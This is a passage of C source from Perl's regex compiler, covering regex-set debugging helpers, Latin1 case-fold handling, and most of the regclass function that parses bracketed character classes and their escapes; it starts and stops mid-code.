assert(OP(REGNODE_p(node)) == ANYOF); OP(REGNODE_p(node)) = ANYOFL; ANYOF_FLAGS(REGNODE_p(node)) |= ANYOFL_SHARED_UTF8_LOCALE_fold_HAS_MATCHES_nonfold_REQD; } nextchar(pRExC_state); Set_Node_Length(REGNODE_p(node), RExC_parse - oregcomp_parse + 1); /* MJD */ return node; regclass_failed: FAIL2("panic: regclass returned failure to handle_sets, " "flags=%#" UVxf, (UV) *flagp); } #ifdef ENABLE_REGEX_SETS_DEBUGGING STATIC void S_dump_regex_sets_structures(pTHX_ RExC_state_t *pRExC_state, AV * stack, const IV fence, AV * fence_stack) { /* Dumps the stacks in handle_regex_sets() */ const SSize_t stack_top = av_tindex_skip_len_mg(stack); const SSize_t fence_stack_top = av_tindex_skip_len_mg(fence_stack); SSize_t i; PERL_ARGS_ASSERT_DUMP_REGEX_SETS_STRUCTURES; PerlIO_printf(Perl_debug_log, "\nParse position is:%s\n", RExC_parse); if (stack_top < 0) { PerlIO_printf(Perl_debug_log, "Nothing on stack\n"); } else { PerlIO_printf(Perl_debug_log, "Stack: (fence=%d)\n", (int) fence); for (i = stack_top; i >= 0; i--) { SV ** element_ptr = av_fetch(stack, i, FALSE); if (! element_ptr) { } if (IS_OPERATOR(*element_ptr)) { PerlIO_printf(Perl_debug_log, "[%d]: %c\n", (int) i, (int) SvIV(*element_ptr)); } else { PerlIO_printf(Perl_debug_log, "[%d] ", (int) i); sv_dump(*element_ptr); } } } if (fence_stack_top < 0) { PerlIO_printf(Perl_debug_log, "Nothing on fence_stack\n"); } else { PerlIO_printf(Perl_debug_log, "Fence_stack: \n"); for (i = fence_stack_top; i >= 0; i--) { SV ** element_ptr = av_fetch(fence_stack, i, FALSE); if (! element_ptr) { } PerlIO_printf(Perl_debug_log, "[%d]: %d\n", (int) i, (int) SvIV(*element_ptr)); } } } #endif #undef IS_OPERATOR #undef IS_OPERAND STATIC void S_add_above_Latin1_folds(pTHX_ RExC_state_t *pRExC_state, const U8 cp, SV** invlist) { /* This adds the Latin1/above-Latin1 folding rules. * * This should be called only for a Latin1-range code points, cp, which is * known to be involved in a simple fold with other code points above * Latin1. It would give false results if /aa has been specified. * Multi-char folds are outside the scope of this, and must be handled * specially. */ PERL_ARGS_ASSERT_ADD_ABOVE_LATIN1_FOLDS; assert(HAS_NONLATIN1_SIMPLE_FOLD_CLOSURE(cp)); /* The rules that are valid for all Unicode versions are hard-coded in */ switch (cp) { case 'k': case 'K': *invlist = add_cp_to_invlist(*invlist, KELVIN_SIGN); break; case 's': case 'S': *invlist = add_cp_to_invlist(*invlist, LATIN_SMALL_LETTER_LONG_S); break; case MICRO_SIGN: *invlist = add_cp_to_invlist(*invlist, GREEK_CAPITAL_LETTER_MU); *invlist = add_cp_to_invlist(*invlist, GREEK_SMALL_LETTER_MU); break; case LATIN_CAPITAL_LETTER_A_WITH_RING_ABOVE: case LATIN_SMALL_LETTER_A_WITH_RING_ABOVE: *invlist = add_cp_to_invlist(*invlist, ANGSTROM_SIGN); break; case LATIN_SMALL_LETTER_Y_WITH_DIAERESIS: *invlist = add_cp_to_invlist(*invlist, LATIN_CAPITAL_LETTER_Y_WITH_DIAERESIS); break; default: /* Other code points are checked against the data for the current Unicode version */ { Size_t folds_count; unsigned int first_fold; const unsigned int * remaining_folds; UV folded_cp; if (isASCII(cp)) { folded_cp = toFOLD(cp); } else { U8 dummy_fold[UTF8_MAXBYTES_CASE+1]; Size_t dummy_len; folded_cp = _to_fold_latin1(cp, dummy_fold, &dummy_len, 0); } if (folded_cp > 255) { *invlist = add_cp_to_invlist(*invlist, folded_cp); } folds_count = _inverse_folds(folded_cp, &first_fold, &remaining_folds); if (folds_count == 0) { /* Use deprecated warning to increase the chances of this being * output */ ckWARN2reg_d(RExC_parse, "Perl folding rules are not up-to-date for 0x%02X;" " please use the perlbug utility to report;", cp); } else { unsigned int i; if (first_fold > 255) { *invlist = add_cp_to_invlist(*invlist, first_fold); } for (i = 0; i < folds_count - 1; i++) { if (remaining_folds[i] > 255) { *invlist = add_cp_to_invlist(*invlist, remaining_folds[i]); } } } break; } } } STATIC void S_output_posix_warnings(pTHX_ RExC_state_t *pRExC_state, AV* posix_warnings) { /* Output the elements of the array given by '*posix_warnings' as REGEXP * warnings. */ SV * msg; const bool first_is_fatal = ckDEAD(packWARN(WARN_REGEXP)); PERL_ARGS_ASSERT_OUTPUT_POSIX_WARNINGS; if (! TO_OUTPUT_WARNINGS(RExC_parse)) { return; } while ((msg = av_shift(posix_warnings)) != &PL_sv_undef) { if (first_is_fatal) { /* Avoid leaking this */ av_undef(posix_warnings); /* This isn't necessary if the array is mortal, but is a fail-safe */ (void) sv_2mortal(msg); PREPARE_TO_DIE; } Perl_warner(aTHX_ packWARN(WARN_REGEXP), "%s", SvPVX(msg)); SvREFCNT_dec_NN(msg); } UPDATE_WARNINGS_LOC(RExC_parse); } STATIC AV * S_add_multi_match(pTHX_ AV* multi_char_matches, SV* multi_string, const STRLEN cp_count) { /* This adds the string scalar <multi_string> to the array * <multi_char_matches>. <multi_string> is known to have exactly * <cp_count> code points in it. This is used when constructing a * bracketed character class and we find something that needs to match more * than a single character. * * <multi_char_matches> is actually an array of arrays. Each top-level * element is an array that contains all the strings known so far that are * the same length. And that length (in number of code points) is the same * as the index of the top-level array. Hence, the [2] element is an * array, each element thereof is a string containing TWO code points; * while element [3] is for strings of THREE characters, and so on. Since * this is for multi-char strings there can never be a [0] nor [1] element. * * When we rewrite the character class below, we will do so such that the * longest strings are written first, so that it prefers the longest * matching strings first. This is done even if it turns out that any * quantifier is non-greedy, out of this programmer's (khw) laziness. Tom * Christiansen has agreed that this is ok. This makes the test for the * ligature 'ffi' come before the test for 'ff', for example */ AV* this_array; AV** this_array_ptr; PERL_ARGS_ASSERT_ADD_MULTI_MATCH; if (! multi_char_matches) { multi_char_matches = newAV(); } if (av_exists(multi_char_matches, cp_count)) { this_array_ptr = (AV**) av_fetch(multi_char_matches, cp_count, FALSE); this_array = *this_array_ptr; } else { this_array = newAV(); av_store(multi_char_matches, cp_count, (SV*) this_array); } av_push(this_array, multi_string); return multi_char_matches; } /* The names of properties whose definitions are not known at compile time are * stored in this SV, after a constant heading. So if the length has been * changed since initialization, then there is a run-time definition. */ #define HAS_NONLOCALE_RUNTIME_PROPERTY_DEFINITION \ (SvCUR(listsv) != initial_listsv_len) /* There is a restricted set of white space characters that are legal when * ignoring white space in a bracketed character class. This generates the * code to skip them. * * There is a line below that uses the same white space criteria but is outside * this macro. Both here and there must use the same definition */ #define SKIP_BRACKETED_WHITE_SPACE(do_skip, p) \ STMT_START { \ if (do_skip) { \ while (isBLANK_A(UCHARAT(p))) \ { \ p++; \ } \ } \ } STMT_END STATIC regnode_offset S_regclass(pTHX_ RExC_state_t *pRExC_state, I32 *flagp, U32 depth, const bool stop_at_1, /* Just parse the next thing, don't look for a full character class */ bool allow_mutiple_chars, const bool silence_non_portable, /* Don't output warnings about too large characters */ const bool strict, bool optimizable, /* ? Allow a non-ANYOF return node */ SV** ret_invlist /* Return an inversion list, not a node */ ) { /* parse a bracketed class specification. Most of these will produce an * ANYOF node; but something like [a] will produce an EXACT node; [aA], an * EXACTFish node; [[:ascii:]], a POSIXA node; etc. It is more complex * under /i with multi-character folds: it will be rewritten following the * paradigm of this example, where the <multi-fold>s are characters which * fold to multiple character sequences: * /[abc\x{multi-fold1}def\x{multi-fold2}ghi]/i * gets effectively rewritten as: * /(?:\x{multi-fold1}|\x{multi-fold2}|[abcdefghi]/i * reg() gets called (recursively) on the rewritten version, and this * function will return what it constructs. (Actually the <multi-fold>s * aren't physically removed from the [abcdefghi], it's just that they are * ignored in the recursion by means of a flag: * <RExC_in_multi_char_class>.) * * ANYOF nodes contain a bit map for the first NUM_ANYOF_CODE_POINTS * characters, with the corresponding bit set if that character is in the * list. For characters above this, an inversion list is used. There * are extra bits for \w, etc. in locale ANYOFs, as what these match is not * determinable at compile time * * On success, returns the offset at which any next node should be placed * into the regex engine program being compiled. * * Returns 0 otherwise, setting flagp to RESTART_PARSE if the parse needs * to be restarted, or'd with NEED_UTF8 if the pattern needs to be upgraded to * UTF-8 */ dVAR; UV prevvalue = OOB_UNICODE, save_prevvalue = OOB_UNICODE; IV range = 0; UV value = OOB_UNICODE, save_value = OOB_UNICODE; regnode_offset ret = -1; /* Initialized to an illegal value */ STRLEN numlen; int namedclass = OOB_NAMEDCLASS; char *rangebegin = NULL; SV *listsv = NULL; /* List of \p{user-defined} whose definitions aren't available at the time this was called */ STRLEN initial_listsv_len = 0; /* Kind of a kludge to see if it is more than just initialized. */ SV* properties = NULL; /* Code points that match \p{} \P{} */ SV* posixes = NULL; /* Code points that match classes like [:word:], extended beyond the Latin1 range. These have to be kept separate from other code points for much of this function because their handling is different under /i, and for most classes under /d as well */ SV* nposixes = NULL; /* Similarly for [:^word:]. These are kept separate for a while from the non-complemented versions because of complications with /d matching */ SV* simple_posixes = NULL; /* But under some conditions, the classes can be treated more simply than the general case, leading to less compilation and execution work */ UV element_count = 0; /* Number of distinct elements in the class. Optimizations may be possible if this is tiny */ AV * multi_char_matches = NULL; /* Code points that fold to more than one character; used under /i */ UV n; char * stop_ptr = RExC_end; /* where to stop parsing */ /* ignore unescaped whitespace? */ const bool skip_white = cBOOL( ret_invlist || (RExC_flags & RXf_PMf_EXTENDED_MORE)); /* inversion list of code points this node matches only when the target * string is in UTF-8. These are all non-ASCII, < 256. (Because is under * /d) */ SV* upper_latin1_only_utf8_matches = NULL; /* Inversion list of code points this node matches regardless of things * like locale, folding, utf8ness of the target string */ SV* cp_list = NULL; /* Like cp_list, but code points on this list need to be checked for things * that fold to/from them under /i */ SV* cp_foldable_list = NULL; /* Like cp_list, but code points on this list are valid only when the * runtime locale is UTF-8 */ SV* only_utf8_locale_list = NULL; /* In a range, if one of the endpoints is non-character-set portable, * meaning that it hard-codes a code point that may mean a different * charactger in ASCII vs. EBCDIC, as opposed to, say, a literal 'A' or a * mnemonic '\t' which each mean the same character no matter which * character set the platform is on. */ unsigned int non_portable_endpoint = 0; /* Is the range unicode? which means on a platform that isn't 1-1 native * to Unicode (i.e. non-ASCII), each code point in it should be considered * to be a Unicode value. */ bool unicode_range = FALSE; bool invert = FALSE; /* Is this class to be complemented */ bool warn_super = ALWAYS_WARN_SUPER; const char * orig_parse = RExC_parse; /* This variable is used to mark where the end in the input is of something * that looks like a POSIX construct but isn't. During the parse, when * something looks like it could be such a construct is encountered, it is * checked for being one, but not if we've already checked this area of the * input. Only after this position is reached do we check again */ char *not_posix_region_end = RExC_parse - 1; AV* posix_warnings = NULL; const bool do_posix_warnings = ckWARN(WARN_REGEXP); U8 op = END; /* The returned node-type, initialized to an impossible one. */ U8 anyof_flags = 0; /* flag bits if the node is an ANYOF-type */ U32 posixl = 0; /* bit field of posix classes matched under /l */ /* Flags as to what things aren't knowable until runtime. (Note that these are * mutually exclusive.) */ #define HAS_USER_DEFINED_PROPERTY 0x01 /* /u any user-defined properties that haven't been defined as of yet */ #define HAS_D_RUNTIME_DEPENDENCY 0x02 /* /d if the target being matched is UTF-8 or not */ #define HAS_L_RUNTIME_DEPENDENCY 0x04 /* /l what the posix classes match and what gets folded */ U32 has_runtime_dependency = 0; /* OR of the above flags */ GET_RE_DEBUG_FLAGS_DECL; PERL_ARGS_ASSERT_REGCLASS; #ifndef DEBUGGING PERL_UNUSED_ARG(depth); #endif /* If wants an inversion list returned, we can't optimize to something * else. */ if (ret_invlist) { optimizable = FALSE; } DEBUG_PARSE("clas"); #if UNICODE_MAJOR_VERSION < 3 /* no multifolds in early Unicode */ \ || (UNICODE_MAJOR_VERSION == 3 && UNICODE_DOT_VERSION == 0 \ && UNICODE_DOT_DOT_VERSION == 0) allow_mutiple_chars = FALSE; #endif /* We include the /i status at the beginning of this so that we can * know it at runtime */ listsv = sv_2mortal(Perl_newSVpvf(aTHX_ "#%d\n", cBOOL(FOLD))); initial_listsv_len = SvCUR(listsv); SvTEMP_off(listsv); /* Grr, TEMPs and mortals are conflated. */ SKIP_BRACKETED_WHITE_SPACE(skip_white, RExC_parse); assert(RExC_parse <= RExC_end); if (UCHARAT(RExC_parse) == '^') { /* Complement the class */ RExC_parse++; invert = TRUE; allow_mutiple_chars = FALSE; MARK_NAUGHTY(1); SKIP_BRACKETED_WHITE_SPACE(skip_white, RExC_parse); } /* Check that they didn't say [:posix:] instead of [[:posix:]] */ if (! ret_invlist && MAYBE_POSIXCC(UCHARAT(RExC_parse))) { int maybe_class = handle_possible_posix(pRExC_state, RExC_parse, &not_posix_region_end, NULL, TRUE /* checking only */); if (maybe_class >= OOB_NAMEDCLASS && do_posix_warnings) { ckWARN4reg(not_posix_region_end, "POSIX syntax [%c %c] belongs inside character classes%s", *RExC_parse, *RExC_parse, (maybe_class == OOB_NAMEDCLASS) ? ((POSIXCC_NOTYET(*RExC_parse)) ? " (but this one isn't implemented)" : " (but this one isn't fully valid)") : "" ); } } /* If the caller wants us to just parse a single element, accomplish this * by faking the loop ending condition */ if (stop_at_1 && RExC_end > RExC_parse) { stop_ptr = RExC_parse + 1; } /* allow 1st char to be ']' (allowing it to be '-' is dealt with later) */ if (UCHARAT(RExC_parse) == ']') goto charclassloop; while (1) { if ( posix_warnings && av_tindex_skip_len_mg(posix_warnings) >= 0 && RExC_parse > not_posix_region_end) { /* Warnings about posix class issues are considered tentative until * we are far enough along in the parse that we can no longer * change our mind, at which point we output them. This is done * each time through the loop so that a later class won't zap them * before they have been dealt with. */ output_posix_warnings(pRExC_state, posix_warnings); } if (RExC_parse >= stop_ptr) { break; } SKIP_BRACKETED_WHITE_SPACE(skip_white, RExC_parse); if (UCHARAT(RExC_parse) == ']') { break; } charclassloop: namedclass = OOB_NAMEDCLASS; /* initialize as illegal */ save_value = value; save_prevvalue = prevvalue; if (!range) { rangebegin = RExC_parse; element_count++; non_portable_endpoint = 0; } if (UTF && ! UTF8_IS_INVARIANT(* RExC_parse)) { value = utf8n_to_uvchr((U8*)RExC_parse, RExC_end - RExC_parse, &numlen, UTF8_ALLOW_DEFAULT); RExC_parse += numlen; } else value = UCHARAT(RExC_parse++); if (value == '[') { char * posix_class_end; namedclass = handle_possible_posix(pRExC_state, RExC_parse, &posix_class_end, do_posix_warnings ? &posix_warnings : NULL, FALSE /* die if error */); if (namedclass > OOB_NAMEDCLASS) { /* If there was an earlier attempt to parse this particular * posix class, and it failed, it was a false alarm, as this * successful one proves */ if ( posix_warnings && av_tindex_skip_len_mg(posix_warnings) >= 0 && not_posix_region_end >= RExC_parse && not_posix_region_end <= posix_class_end) { av_undef(posix_warnings); } RExC_parse = posix_class_end; } else if (namedclass == OOB_NAMEDCLASS) { not_posix_region_end = posix_class_end; } else { namedclass = OOB_NAMEDCLASS; } } else if ( RExC_parse - 1 > not_posix_region_end && MAYBE_POSIXCC(value)) { (void) handle_possible_posix( pRExC_state, RExC_parse - 1, /* -1 because parse has already been advanced */ &not_posix_region_end, do_posix_warnings ? &posix_warnings : NULL, TRUE /* checking only */); } else if ( strict && ! skip_white && ( _generic_isCC(value, _CC_VERTSPACE) || is_VERTWS_cp_high(value))) { vFAIL("Literal vertical space in [] is illegal except under /x"); } else if (value == '\\') { /* Is a backslash; get the code point of the char after it */ if (RExC_parse >= RExC_end) { vFAIL("Unmatched ["); } if (UTF && ! UTF8_IS_INVARIANT(UCHARAT(RExC_parse))) { value = utf8n_to_uvchr((U8*)RExC_parse, RExC_end - RExC_parse, &numlen, UTF8_ALLOW_DEFAULT); RExC_parse += numlen; } else value = UCHARAT(RExC_parse++); /* Some compilers cannot handle switching on 64-bit integer * values, therefore value cannot be an UV. Yes, this will * be a problem later if we want switch on Unicode. * A similar issue a little bit later when switching on * namedclass. --jhi */ /* If the \ is escaping white space when white space is being * skipped, it means that that white space is wanted literally, and * is already in 'value'. Otherwise, need to translate the escape * into what it signifies. */ if (! skip_white || ! isBLANK_A(value)) switch ((I32)value) { case 'w': namedclass = ANYOF_WORDCHAR; break; case 'W': namedclass = ANYOF_NWORDCHAR; break; case 's': namedclass = ANYOF_SPACE; break; case 'S': namedclass = ANYOF_NSPACE; break; case 'd': namedclass = ANYOF_DIGIT; break; case 'D': namedclass = ANYOF_NDIGIT; break; case 'v': namedclass = ANYOF_VERTWS; break; case 'V': namedclass = ANYOF_NVERTWS; break; case 'h': namedclass = ANYOF_HORIZWS; break; case 'H': namedclass = ANYOF_NHORIZWS; break; case 'N': /* Handle \N{NAME} in class */ { const char * const backslash_N_beg = RExC_parse - 2; int cp_count; if (! grok_bslash_N(pRExC_state, NULL, /* No regnode */ &value, /* Yes single value */ &cp_count, /* Multiple code pt count */ flagp, strict, depth) ) { if (*flagp & NEED_UTF8) FAIL("panic: grok_bslash_N set NEED_UTF8"); RETURN_FAIL_ON_RESTART_FLAGP(flagp); if (cp_count < 0) { vFAIL("\\N in a character class must be a named character: \\N{...}"); } else if (cp_count == 0) { ckWARNreg(RExC_parse, "Ignoring zero length \\N{} in character class"); } else { /* cp_count > 1 */ assert(cp_count > 1); if (! RExC_in_multi_char_class) { if ( ! allow_mutiple_chars || invert || range || *RExC_parse == '-') { if (strict) { RExC_parse--; vFAIL("\\N{} in inverted character class or as a range end-point is restricted to one character"); } ckWARNreg(RExC_parse, "Using just the first character returned by \\N{} in character class"); break; /* <value> contains the first code point. Drop out of the switch to process it */ } else { SV * multi_char_N = newSVpvn(backslash_N_beg, RExC_parse - backslash_N_beg); multi_char_matches = add_multi_match(multi_char_matches, multi_char_N, cp_count); } } } /* End of cp_count != 1 */ /* This element should not be processed further in this * class */ element_count--; value = save_value; prevvalue = save_prevvalue; continue; /* Back to top of loop to get next char */ } /* Here, is a single code point, and <value> contains it */ unicode_range = TRUE; /* \N{} are Unicode */ } break; case 'p': case 'P': { char *e; /* \p means they want Unicode semantics */ REQUIRE_UNI_RULES(flagp, 0); if (RExC_parse >= RExC_end) vFAIL2("Empty \\%c", (U8)value); if (*RExC_parse == '{') { const U8 c = (U8)value; e = (char *) memchr(RExC_parse, '}', RExC_end - RExC_parse); if (!e) { RExC_parse++; vFAIL2("Missing right brace on \\%c{}", c); } RExC_parse++; /* White space is allowed adjacent to the braces and after * any '^', even when not under /x */ while (isSPACE(*RExC_parse)) { RExC_parse++; } if (UCHARAT(RExC_parse) == '^') { /* toggle. (The rhs xor gets the single bit that * differs between P and p; the other xor inverts just * that bit) */ value ^= 'P' ^ 'p'; RExC_parse++; while (isSPACE(*RExC_parse)) { RExC_parse++; } } if (e == RExC_parse) vFAIL2("Empty \\%c{}", c); n = e - RExC_parse; while (isSPACE(*(RExC_parse + n - 1))) n--; } /* The \p isn't immediately followed by a '{' */ else if (! isALPHA(*RExC_parse)) { RExC_parse += (UTF) ? UTF8_SAFE_SKIP(RExC_parse, RExC_end) : 1; vFAIL2("Character following \\%c must be '{' or a " "single-character Unicode property name", (U8) value); } else { e = RExC_parse; n = 1; } { char* name = RExC_parse; /* Any message returned about expanding the definition */ SV* msg = newSVpvs_flags("", SVs_TEMP); /* If set TRUE, the property is user-defined as opposed to * official Unicode */ bool user_defined = FALSE; SV * prop_definition = parse_uniprop_string( name, n, UTF, FOLD, FALSE, /* This is compile-time */ /* We can't defer this defn when * the full result is required in * this call */ ! cBOOL(ret_invlist), &user_defined, msg, 0 /* Base level */ ); if (SvCUR(msg)) { /* Assumes any error causes a msg */ assert(prop_definition == NULL); RExC_parse = e + 1; if (SvUTF8(msg)) { /* msg being UTF-8 makes the whole thing so, or else the display is mojibake */ RExC_utf8 = TRUE; } /* diag_listed_as: Can't find Unicode property definition "%s" in regex; marked by <-- HERE in m/%s/ */ vFAIL2utf8f("%" UTF8f, UTF8fARG(SvUTF8(msg), SvCUR(msg), SvPVX(msg))); } if (! is_invlist(prop_definition)) { /* Here, the definition isn't known, so we have gotten * returned a string that will be evaluated if and when * encountered at runtime. We add it to the list of * such properties, along with whether it should be * complemented or not */ if (value == 'P') { sv_catpvs(listsv, "!"); } else { sv_catpvs(listsv, "+"); } sv_catsv(listsv, prop_definition); has_runtime_dependency |= HAS_USER_DEFINED_PROPERTY; /* We don't know yet what this matches, so have to flag * it */ anyof_flags |= ANYOF_SHARED_d_UPPER_LATIN1_UTF8_STRING_MATCHES_non_d_RUNTIME_USER_PROP; } else { assert (prop_definition && is_invlist(prop_definition)); /* Here we do have the complete property definition * * Temporary workaround for [perl #133136]. For this * precise input that is in the .t that is failing, * load utf8.pm, which is what the test wants, so that * that .t passes */ if ( memEQs(RExC_start, e + 1 - RExC_start, "foo\\p{Alnum}") && ! hv_common(GvHVn(PL_incgv), NULL, "utf8.pm", sizeof("utf8.pm") - 1, 0, HV_FETCH_ISEXISTS, NULL, 0)) { require_pv("utf8.pm"); } if (! user_defined && /* We warn on matching an above-Unicode code point * if the match would return true, except don't * warn for \p{All}, which has exactly one element * = 0 */ (_invlist_contains_cp(prop_definition, 0x110000) && (! (_invlist_len(prop_definition) == 1 && *invlist_array(prop_definition) == 0)))) { warn_super = TRUE; } /* Invert if asking for the complement */ if (value == 'P') { _invlist_union_complement_2nd(properties, prop_definition, &properties); } else { _invlist_union(properties, prop_definition, &properties); } } } RExC_parse = e + 1; namedclass = ANYOF_UNIPROP; /* no official name, but it's named */ } break; case 'n': value = '\n'; break; case 'r': value = '\r'; break; case 't': value = '\t'; break; case 'f': value = '\f'; break; case 'b': value = '\b'; break; case 'e': value = ESC_NATIVE; break; case 'a': value = '\a'; break; case 'o': RExC_parse--; /* function expects to be pointed at the 'o' */ { const char* error_msg; bool valid = grok_bslash_o(&RExC_parse, RExC_end, &value, &error_msg, TO_OUTPUT_WARNINGS(RExC_parse), strict, silence_non_portable, UTF); if (! valid) { vFAIL(error_msg); } UPDATE_WARNINGS_LOC(RExC_parse - 1); } non_portable_endpoint++; break; case 'x': RExC_parse--; /* function expects to be pointed at the 'x' */ { const char* error_msg; bool valid = grok_bslash_x(&RExC_parse, RExC_end, &value, &error_msg, TO_OUTPUT_WARNINGS(RExC_parse), strict, silence_non_portable, UTF); if (! valid) { vFAIL(error_msg); } UPDATE_WARNINGS_LOC(RExC_parse - 1); } non_portable_endpoint++; break; case 'c': value = grok_bslash_c(*RExC_parse, TO_OUTPUT_WARNINGS(RExC_parse)); UPDATE_WARNINGS_LOC(RExC_parse); RExC_parse++; non_portable_endpoint++; break; case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': { /* Take 1-3 octal digits */ I32 flags = PERL_SCAN_SILENT_ILLDIGIT; numlen = (strict) ? 4 : 3; value = grok_oct(--RExC_parse, &numlen, &flags, NULL); RExC_parse += numlen; if (numlen != 3) { if (strict) { RExC_parse += (UTF) ? UTF8_SAFE_SKIP(RExC_parse, RExC_end) : 1; vFAIL("Need exactly 3 octal digits"); } else if ( numlen < 3 /* like \08, \178 */ && RExC_parse < RExC_end && isDIGIT(*RExC_parse) && ckWARN(WARN_REGEXP)) { reg_warn_non_literal_string( RExC_parse + 1, form_short_octal_warning(RExC_parse, numlen)); } } non_portable_endpoint++; break; } default: /* Allow \_ to not give an error */ if (isWORDCHAR(value) && value != '_') { if (strict) { vFAIL2("Unrecognized escape \\%c in character class", (int)value); } else { ckWARN2reg(RExC_parse, "Unrecognized escape \\%c in character class passed through", (int)value); } } break; } /* End of switch on char following backslash */ } /* end of handling backslash escape sequences */ /* Here, we have the current token in 'value' */ if (namedclass > OOB_NAMEDCLASS) { /* this is a named class \blah */ U8 classnum; /* a bad range like a-\d, a-[:digit:]. The '-' is taken as a * literal, as is the character that began the false range, i.e. * the 'a' in the examples */ if (range) { const int w = (RExC_parse >= rangebegin) ? RExC_parse - rangebegin : 0; if (strict) { vFAIL2utf8f( "False [] range \"%" UTF8f "\"", UTF8fARG(UTF, w, rangebegin)); } else { ckWARN2reg(RExC_parse, "False [] range \"%" UTF8f "\"", UTF8fARG(UTF, w, rangebegin)); cp_list = add_cp_to_invlist(cp_list, '-'); cp_foldable_list = add_cp_to_invlist(cp_foldable_list, prevvalue); } range = 0; /* this was not a true range */ element_count += 2; /* So counts for three values */ } classnum = namedclass_to_classnum(namedclass); if (LOC && namedclass < ANYOF_POSIXL_MAX #ifndef HAS_ISASCII && classnum != _CC_ASCII #endif ) { SV* scratch_list = NULL; /* What the Posix classes (like \w, [:space:]) match isn't * generally knowable under locale until actual match time. A * special node is used for these which has extra space for a * bitmap, with a bit reserved for each named class that is to * be matched against. (This isn't needed for \p{} and * pseudo-classes, as they are not affected by locale, and * hence are dealt with separately.) However, if a named class * and its complement are both present, then it matches * everything, and there is no runtime dependency. Odd numbers * are the complements of the next lower number, so xor works. * (Note that something like [\w\D] should match everything, * because \d should be a proper subset of \w. But rather than * trust that the locale is well behaved, we leave this to * runtime to sort out) */ if (POSIXL_TEST(posixl, namedclass ^ 1)) { cp_list = _add_range_to_invlist(cp_list, 0, UV_MAX); POSIXL_ZERO(posixl); has_runtime_dependency &= ~HAS_L_RUNTIME_DEPENDENCY; anyof_flags &= ~ANYOF_MATCHES_POSIXL; continue; /* We could ignore the rest of the class, but best to parse it for any errors */ } else { /* Here, isn't the complement of any already parsed class */ POSIXL_SET(posixl, namedclass); has_runtime_dependency |= HAS_L_RUNTIME_DEPENDENCY; anyof_flags |= ANYOF_MATCHES_POSIXL; /* The above-Latin1 characters are not subject to locale * rules. Just add them to the unconditionally-matched * list */ /* Get the list of the above-Latin1 code points this * matches */ _invlist_intersection_maybe_complement_2nd(PL_AboveLatin1, PL_XPosix_ptrs[classnum], /* Odd numbers are complements, * like NDIGIT, NASCII, ... */ namedclass % 2 != 0, &scratch_list); /* Checking if 'cp_list' is NULL first saves an extra * clone. Its reference count will be decremented at the * next union, etc, or if this is the only instance, at the * end of the routine */ if (! cp_list) { cp_list = scratch_list; } else { _invlist_union(cp_list, scratch_list, &cp_list); SvREFCNT_dec_NN(scratch_list); } continue; /* Go get next character */ } } else { /* Here, is not /l, or is a POSIX class for which /l doesn't * matter (or is a Unicode property, which is skipped here). */ if (namedclass >= ANYOF_POSIXL_MAX) { /* If a special class */ if (namedclass != ANYOF_UNIPROP) { /* UNIPROP = \p and \P */ /* Here, should be \h, \H, \v, or \V. None of /d, /i * nor /l make a difference in what these match, * therefore we just add what they match to cp_list. */ if (classnum != _CC_VERTSPACE) { assert( namedclass == ANYOF_HORIZWS || namedclass == ANYOF_NHORIZWS); /* It turns out that \h is just a synonym for * XPosixBlank */ classnum = _CC_BLANK; } _invlist_union_maybe_complement_2nd( cp_list, PL_XPosix_ptrs[classnum], namedclass % 2 != 0, /* Complement if odd (NHORIZWS, NVERTWS) */ &cp_list); } } else if ( AT_LEAST_UNI_SEMANTICS || classnum == _CC_ASCII || (DEPENDS_SEMANTICS && ( classnum == _CC_DIGIT || classnum == _CC_XDIGIT))) { /* We usually have to worry about /d affecting what POSIX * classes match, with special code needed because we won't * know until runtime what all matches. But there is no * extra work needed under /u and /a; and [:ascii:] is * unaffected by /d; and :digit: and :xdigit: don't have * runtime differences under /d. So we can special case * these, and avoid some extra work below, and at runtime. * */ _invlist_union_maybe_complement_2nd( simple_posixes, ((AT_LEAST_ASCII_RESTRICTED) ? PL_Posix_ptrs[classnum] : PL_XPosix_ptrs[classnum]), namedclass % 2 != 0, &simple_posixes); } else { /* Garden variety class. If is NUPPER, NALPHA, ... complement and use nposixes */ SV** posixes_ptr = namedclass % 2 == 0 ? &posixes : &nposixes; _invlist_union_maybe_complement_2nd( *posixes_ptr, PL_XPosix_ptrs[classnum], namedclass % 2 != 0, posixes_ptr); } } } /* end of namedclass \blah */ SKIP_BRACKETED_WHITE_SPACE(skip_white, RExC_parse); /* If 'range' is set, 'value' is the ending of a range--check its * validity. (If value isn't a single code point in the case of a * range, we should have figured that out above in the code that * catches false ranges). Later, we will handle each individual code * point in the range. If 'range' isn't set, this could be the * beginning of a range, so check for that by looking ahead to see if * the next real character to be processed is the range indicator--the * minus sign */ if (range) { #ifdef EBCDIC /* For unicode ranges, we have to test that the Unicode as opposed * to the native values are not decreasing. (Above 255, there is * no difference between native and Unicode) */ if (unicode_range && prevvalue < 255 && value < 255) { if (NATIVE_TO_LATIN1(prevvalue) > NATIVE_TO_LATIN1(value)) { goto backwards_range; } } else #endif if (prevvalue > value) /* b-a */ { int w; #ifdef EBCDIC backwards_range: #endif w = RExC_parse - rangebegin; vFAIL2utf8f( "Invalid [] range \"%" UTF8f "\"", UTF8fARG(UTF, w, rangebegin)); NOT_REACHED; /* NOTREACHED */ } } else { prevvalue = value; /* save the beginning of the potential range */ if (! stop_at_1 /* Can't be a range if parsing just one thing */ && *RExC_parse == '-') { char* next_char_ptr = RExC_parse + 1; /* Get the next real char after the '-' */ SKIP_BRACKETED_WHITE_SPACE(skip_white, next_char_ptr); /* If the '-' is at the end of the class (just before the ']', * it is a literal minus; otherwise it is a range */ if (next_char_ptr < RExC_end && *next_char_ptr != ']') { RExC_parse = next_char_ptr; /* a bad range like \w-, [:word:]- ? */ if (namedclass > OOB_NAMEDCLASS) { if (strict || ckWARN(WARN_REGEXP)) { const int w = RExC_parse >= rangebegin ? RExC_parse - rangebegin : 0; if (strict) { vFAIL4("False [] range \"%*.*s\"", w, w, rangebegin); } else { vWARN4(RExC_parse, "False [] range \"%*.*s\"", w, w, rangebegin); } } cp_list = add_cp_to_invlist(cp_list, '-'); element_count++; } else range = 1; /* yeah, it's a range! */ continue; /* but do it the next time */ } } } if (namedclass > OOB_NAMEDCLASS) { continue; } /* Here, we have a single value this time through the loop, and * <prevvalue> is the beginning of the range, if any; or <value> if * not. */ /* non-Latin1 code point implies unicode semantics. */ if (value > 255) { REQUIRE_UNI_RULES(flagp, 0); } /* Ready to process either the single value, or the completed range. * For single-valued non-inverted ranges, we consider the possibility * of multi-char folds. (We made a conscious decision to 